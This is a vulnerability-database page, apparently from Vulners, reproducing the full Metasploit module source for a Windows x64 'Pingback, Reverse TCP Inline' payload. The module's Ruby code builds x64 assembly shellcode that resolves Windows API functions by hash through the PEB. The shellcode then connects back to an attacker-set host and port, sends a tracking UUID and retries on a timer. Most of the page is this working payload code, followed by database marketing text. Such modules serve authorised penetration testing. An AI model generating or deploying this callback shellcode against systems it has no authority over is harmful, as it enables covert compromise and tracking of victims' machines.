Lucene search
+L

Windows x64 Pingback, Reverse TCP Inline

🗓️ 26 Jul 2019 00:42:26Reported by bwatters-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 100 Views

Windows x64 Pingback, Reverse TCP Inline // Connect back to attacker and report UUID (Windows x64) using Pingback and Reverse TCP inline

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule

  CachedSize = 425

  include Msf::Payload::Windows
  include Msf::Payload::Single
  include Msf::Payload::Pingback
  include Msf::Payload::Pingback::Options
  include Msf::Payload::Windows::BlockApi_x64
  include Msf::Payload::Windows::Exitfunk_x64

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows x64 Pingback, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and report UUID (Windows x64)',
      'Author'        => [ 'bwatters-r7' ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X64,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::Pingback
    ))

    def required_space
      # Start with our cached default generated size
      space = cached_size

      # EXITFUNK 'seh' is the worst case, that adds 15 bytes
      space += 15

      space
    end

    def generate(_opts = {})
      # 22 -> "0x00,0x16"
      # 4444 -> "0x11,0x5c"
      encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first
      encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first
      encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
      retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
      pingback_count = datastore['PingbackRetries']
      pingback_sleep = datastore['PingbackSleep']
      self.pingback_uuid ||= self.generate_pingback_uuid
      uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
      conf = { exitfunk: datastore['EXITFUNC'] }


      asm = %Q^
        cld                     ; Clear the direction flag.
        and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned
        call start              ; Call start, this pushes the address of 'api_call' onto the stack.

        api_call:
          push r9                  ; Save the 4th parameter
          push r8                  ; Save the 3rd parameter
          push rdx                 ; Save the 2nd parameter
          push rcx                 ; Save the 1st parameter
          push rsi                 ; Save RSI
          xor rdx, rdx             ; Zero rdx
          mov rdx, [gs:rdx+96]     ; Get a pointer to the PEB
          mov rdx, [rdx+24]        ; Get PEB->Ldr
          mov rdx, [rdx+32]        ; Get the first module from the InMemoryOrder module list
        next_mod:                  ;
          mov rsi, [rdx+80]        ; Get pointer to modules name (unicode string)
          movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
          xor r9, r9               ; Clear r9 which will store the hash of the module name
        loop_modname:              ;
          xor rax, rax             ; Clear rax
          lodsb                    ; Read in the next byte of the name
          cmp al, 'a'              ; Some versions of Windows use lower case module names
          jl not_lowercase         ;
          sub al, 0x20             ; If so normalise to uppercase
        not_lowercase:             ;
          ror r9d, 13              ; Rotate right our hash value
          add r9d, eax             ; Add the next byte of the name
          loop loop_modname        ; Loop until we have read enough
          ; We now have the module hash computed
          push rdx                 ; Save the current position in the module list for later
          push r9                  ; Save the current module hash for later
          ; Proceed to iterate the export address table,
          mov rdx, [rdx+32]        ; Get this modules base address
          mov eax, dword [rdx+60]  ; Get PE header
          add rax, rdx             ; Add the modules base address
          cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
          ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
          ; their may be a PE32 module present in the PEB's module list, (typically the main module).
          ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
          jne get_next_mod1         ; if not, proceed to the next module
          mov eax, dword [rax+136] ; Get export tables RVA
          test rax, rax            ; Test if no export address table is present
          jz get_next_mod1         ; If no EAT present, process the next module
          add rax, rdx             ; Add the modules base address
          push rax                 ; Save the current modules EAT
          mov ecx, dword [rax+24]  ; Get the number of function names
          mov r8d, dword [rax+32]  ; Get the rva of the function names
          add r8, rdx              ; Add the modules base address
          ; Computing the module hash + function hash
        get_next_func:             ;
          jrcxz get_next_mod       ; When we reach the start of the EAT (we search backwards), process the next module
          dec rcx                  ; Decrement the function name counter
          mov esi, dword [r8+rcx*4]; Get rva of next module name
          add rsi, rdx             ; Add the modules base address
          xor r9, r9               ; Clear r9 which will store the hash of the function name
          ; And compare it to the one we want
        loop_funcname:             ;
          xor rax, rax             ; Clear rax
          lodsb                    ; Read in the next byte of the ASCII function name
          ror r9d, 13              ; Rotate right our hash value
          add r9d, eax             ; Add the next byte of the name
          cmp al, ah               ; Compare AL (the next byte from the name) to AH (null)
          jne loop_funcname        ; If we have not reached the null terminator, continue
          add r9, [rsp+8]          ; Add the current module hash to the function hash
          cmp r9d, r10d            ; Compare the hash to the one we are searchnig for
          jnz get_next_func        ; Go compute the next function hash if we have not found it
          ; If found, fix up stack, call the function and then value else compute the next one...
          pop rax                  ; Restore the current modules EAT
          mov r8d, dword [rax+36]  ; Get the ordinal table rva
          add r8, rdx              ; Add the modules base address
          mov cx, [r8+2*rcx]       ; Get the desired functions ordinal
          mov r8d, dword [rax+28]  ; Get the function addresses table rva
          add r8, rdx              ; Add the modules base address
          mov eax, dword [r8+4*rcx]; Get the desired functions RVA
          add rax, rdx             ; Add the modules base address to get the functions actual VA
          ; We now fix up the stack and perform the call to the drsired function...
        finish:
          pop r8                   ; Clear off the current modules hash
          pop r8                   ; Clear off the current position in the module list
          pop rsi                  ; Restore RSI
          pop rcx                  ; Restore the 1st parameter
          pop rdx                  ; Restore the 2nd parameter
          pop r8                   ; Restore the 3rd parameter
          pop r9                   ; Restore the 4th parameter
          pop r10                  ; pop off the return address
          sub rsp, 32              ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
                                   ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
          push r10                 ; push back the return address
          jmp rax                  ; Jump into the required function
          ; We now automagically return to the correct caller...
        get_next_mod:              ;
          pop rax                  ; Pop off the current (now the previous) modules EAT
        get_next_mod1:             ;
          pop r9                   ; Pop off the current (now the previous) modules hash
          pop rdx                  ; Restore our position in the module list
          mov rdx, [rdx]           ; Get the next module
          jmp next_mod             ; Process this module

        start:
          pop rbp               ; block API pointer

        reverse_tcp:
        ; setup the structures we need on the stack...
          mov r14, 'ws2_32'
          push r14                ; Push the bytes 'ws2_32',0,0 onto the stack.
          mov r14, rsp            ; save pointer to the "ws2_32" string for LoadLibraryA call.
          sub rsp, #{408 + 8}     ; alloc sizeof( struct WSAData ) bytes for the WSAData
                                  ; structure (+8 for alignment)
          mov r13, rsp            ; save pointer to the WSAData structure for WSAStartup call.
          mov r12, #{encoded_host_port}
          push r12                ; host, family AF_INET and port
          mov r12, rsp            ; save pointer to sockaddr struct for connect call

        ; perform the call to LoadLibraryA...
          mov rcx, r14            ; set the param for the library to load
          mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
          call rbp                ; LoadLibraryA( "ws2_32" )

        ; perform the call to WSAStartup...
          mov rdx, r13            ; second param is a pointer to this struct
          push 0x0101             ;
          pop rcx                 ; set the param for the version requested
          mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
          call rbp                ; WSAStartup( 0x0101, &WSAData );

        ; stick the retry count on the stack and store it
          push #{retry_count}     ; retry counter
          pop r14
          push #{pingback_count}
          pop r15

        create_socket:
        ; perform the call to WSASocketA...
          push rax                ; if we succeed, rax will be zero, push zero for the flags param.
          push rax                ; push null for reserved parameter
          xor r9, r9              ; we do not specify a WSAPROTOCOL_INFO structure
          xor r8, r8              ; we do not specify a protocol
          inc rax                 ;
          mov rdx, rax            ; push SOCK_STREAM
          inc rax                 ;
          mov rcx, rax            ; push AF_INET
          mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
          call rbp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
          mov rdi, rax            ; save the socket for later

        try_connect:
        ; perform the call to connect...
          push 16                 ; length of the sockaddr struct
          pop r8                  ; pop off the third param
          mov rdx, r12            ; set second param to pointer to sockaddr struct
          mov rcx, rdi            ; the socket
          mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
          call rbp                ; connect( s, &sockaddr, 16 );

          test eax, eax           ; non-zero means failure
          jz connected

        handle_connect_failure:
          dec r14                 ; decrement the retry count
          jnz try_connect
          dec r15
          jmp close_socket

        failure:
          call exitfunk

        ; this label is required so that reconnect attempts include
        ; the UUID stuff if required.
        connected:

        send_pingback:
          xor r9, r9              ; flags
          push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
          pop r8
          call get_pingback_address  ; put uuid buffer on the stack
          db #{uuid_as_db}  ; PINGBACK_UUID

        get_pingback_address:
          pop rdx                ; PINGBACK UUID address
          mov rcx, rdi           ; Socket handle
          mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
          call rbp               ; call send

        close_socket:
          mov rcx, rdi           ; Socket handle
          mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
          call rbp               ; call closesocket
        ^
      if pingback_count > 0
        asm << %Q^
          sleep:
            test r15, r15         ; check pingback retry counter
            jz exitfunk           ; bail if we are at 0
            dec r15               ;decrement the pingback retry counter
            push #{(pingback_sleep * 1000)}            ; 10 seconds
            pop rcx               ; set the sleep function parameter
            mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
            call rbp              ; Sleep()
            jmp create_socket     ; repeat callback
        ^
      end
      if conf[:exitfunk]
        asm << asm_exitfunk(conf)
      end
      Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2024 19:06Current
7.3High risk
Vulners AI Score7.3
100